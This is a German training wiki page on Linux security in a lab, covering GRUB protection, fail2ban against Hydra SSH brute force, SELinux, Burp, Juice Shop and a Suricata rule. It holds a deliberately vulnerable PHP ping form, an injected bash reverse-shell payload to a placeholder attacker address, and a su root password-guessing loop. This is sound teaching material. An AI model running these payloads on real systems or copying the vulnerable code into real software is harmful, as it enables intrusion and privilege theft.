Informationssicherheit in Linux-Umgebungen: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 58: Zeile 58:
  
 
*'''fail2ban-client  unban --all'''
 
*'''fail2ban-client  unban --all'''
 +
 +
= PAM =
 +
 +
* Mit dem '''P'''luggable '''A'''uthentication '''M'''odule kann man bestimmte Passwortrichtlinien setzen, um das setzen von einfachen/wohlbekannten Passwörtern zu verhindern
  
 
= [[Command Injection]] über eine Webanwendung =
 
= [[Command Injection]] über eine Webanwendung =

Version vom 31. August 2023, 14:57 Uhr

Ausgangszustand

physischer Zugangsschutz

Bootzugriff absichern

  • Der erste Prozess mit dem Linux gebootet wird, kann von GRUB2 bestimmt werden.
  • So kann man das Passwort des root-Nutzers zurücksetzen, falls man diesen vergessen hat.
  • D.h. aber auch, dass ein unautorisierter Benutzer mit Zugriff auf die physische Maschine sich eine Shell geben kann ohne Kenndaten einzugeben.
  • Anleitung zu Linux boot hacking
  • Man sollte also kritische Systeme mit einem GRUB Passwort vor ungewollten Änderungen der Boot-Einträge absichern
  • Anleitung zum setzen eines Passworts für GRUB2

Brute Force Attacken

  • Brute Force Attacken versuchen durch sich bei einem Dienst mit zufälligen Anmeldedaten zu authentifizieren ohne diese zu kennen
  • Dafür werden entweder zufällig generierte oder häufig benutzte Benutzernamen / Passwörter versucht
  • Eine populäre Software für solche Testzwecke mit Multithreading ist Hydra
  • apt update
  • apt install hydra

Passwordliste laden

Angriff starten

  • hydra -l xinux -P bad-passwords aa.bb.cc.dd ssh

SSH Daemon in Fail2Ban aktivieren

  • vim /etc/fail2ban/jail.local
[sshd]
enable = true

Fail2Ban neustarten

  • systemctl restart fail2ban

Status checken

  • fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed:	1
|  |- Total failed:	14
|  `- File list:	/var/log/auth.log
`- Actions
   |- Currently banned:	1
   |- Total banned:	1
   `- Banned IP list:	10.0.1xx.2
  • iptables -nvL

Alles unbannen

  • fail2ban-client unban --all

PAM

  • Mit dem Pluggable Authentication Module kann man bestimmte Passwortrichtlinien setzen, um das setzen von einfachen/wohlbekannten Passwörtern zu verhindern

Command Injection über eine Webanwendung

Laboraufbau

  • apt install apache2 php-sqlite3 libapache2-mod-php

Schwachstelle im Code

  • vim /var/www/html/command-injection.php
 <!DOCTYPE html>
 <html>
	<body>
		<h2>PING</h2>
		<form method="post">
		  <label for="fname">IP</label><br>
		  <input type="text" name="ip"><br>
		  <input type="submit" name="submit" value="submit">
		</form>
		<br>
 <?php
 if(isset($_POST['submit'])){
 	$ip = $_POST['ip'];
 	$cmd = 'ping -c 4 ' . $ip;
 	$output = shell_exec($cmd);
 	echo "<pre> $output</pre>";
 }
 ?>
	 </body>
 </html>
</php>

Exploit

  • Auf der Angreifermaschine:
  • nc -p port
  • In der Webanwendung:
  • 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
  • nach kurzer Zeit sollte man als Angreifer eine Shell als Benutzer www-data bekommen!
  • Von dieser Position aus kann man folgenderweise weitermachen:
    • Backend Code des Servers auslesen
    • Informationen aus den Datenbanken stehlen
    • Brute Force root Passwort: for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done
    • Netzwerktopologie aufdecken: mit nmap (falls installiert) oder manuell mit ping und netcat
    • Informationen über verwendete Software-Versionen sammeln

SELinux

  • Diese Command Injection Schwachstelle lässt sich mit SELinux beheben
  • SELinux unter Debian
  • Damit der Ping aber weiterhin funktioniert, muss noch ein Richtlinienmodul geladen werden, der speziell für Apache2 das Pingen erlaubt
  • setenforce 0
  • Normal auf der Weboberfläche pingen (Keine Reverse Shell aufbauen!)
  • Nun kann man die Verstöße in ein ladbares Modul umwandeln, welches speziell nur die Rechte vergibt, um Ping zuzulassen
  • ausearch -m AVC -ts recent | audit2allow -M apache2-ping
  • semodule -i apache2-ping.pp
  • setenforce 1
  • Nun sollte das Öffnen eines Portes durch Command Injection durch SELinux verhindert werden
  • Die Verstöße kann man sich nochmal mit auseach anzeigen lassen
!!Achtung!! Andere Kommandos könnten jedoch immernoch ausgeführt werden, z.B. 1.1.1.1 ; ls zeigt uns den Inhalt des Ordners /var/www/html

OWASP Juice Shop

  • Beispiel einer Webapplikation mit vielen (absichtlich) eingebauten Schwachstellen
  • Soll das Vorgehen eines Hackers/Pentesters nachspielbar machen
  • Erkunden der Webseite wie ein normaler Benutzer(auch als happy path bezeichnet)
  • Untersuchen des HTML- und Javascript-Codes auf versteckte Informationen und auf die Funktionsweise der Webseite
  • Injectionversuche über POST-Anfragen
  • Request-Manipulation mit Burp

SQL Injection

Cross Site Scripting

Burp

  • Dieses Tool ermöglicht das Abfangen von individuellen HTTP-Anfragen des Browsers
  • Diese können dann wie eine Textdatei bearbeitet und weitergesendet werden
  • Intruder: vereinfacht Brute-Force Attacken
  • Repeater: speichert spezielle Anfragen und hat vielseitige Anwendungen, z.B.
    • Analyse spezieller Antworten des Servers
    • Leichters Abändern einer Anfrage
    • Reverse Engineering des Backends

Suricata

  • Infrastruktur-Beispiel:
  • Da Suricata über Deep Packet Inspect die Paketinhalte analysiert, darf der Verkehr nicht verschlüsselt sein
  • Wir lösen das Problem hier über HAProxy, der verschlüsselt mit den Clients kommuniziert, aber unverschlüsselt mit den Servern
  • Zusätzlich können wir nun theoretisch alle TLS Zertifikate über HAProxy terminieren lassen
  • Außerdem gibt das uns die Möglichkeit Loadbalancing zu betreiben
  • Erkennen von SQL Injection Tests
  • vim /etc/suricata/rules/local.rules
alert any any <> any any (msg: "SQL Injection Attempt!"; http.request_body; content: "OR 1=1";)

Schwachstellenerkennung/-scanning

nmap

Greenbone Security Manager

Links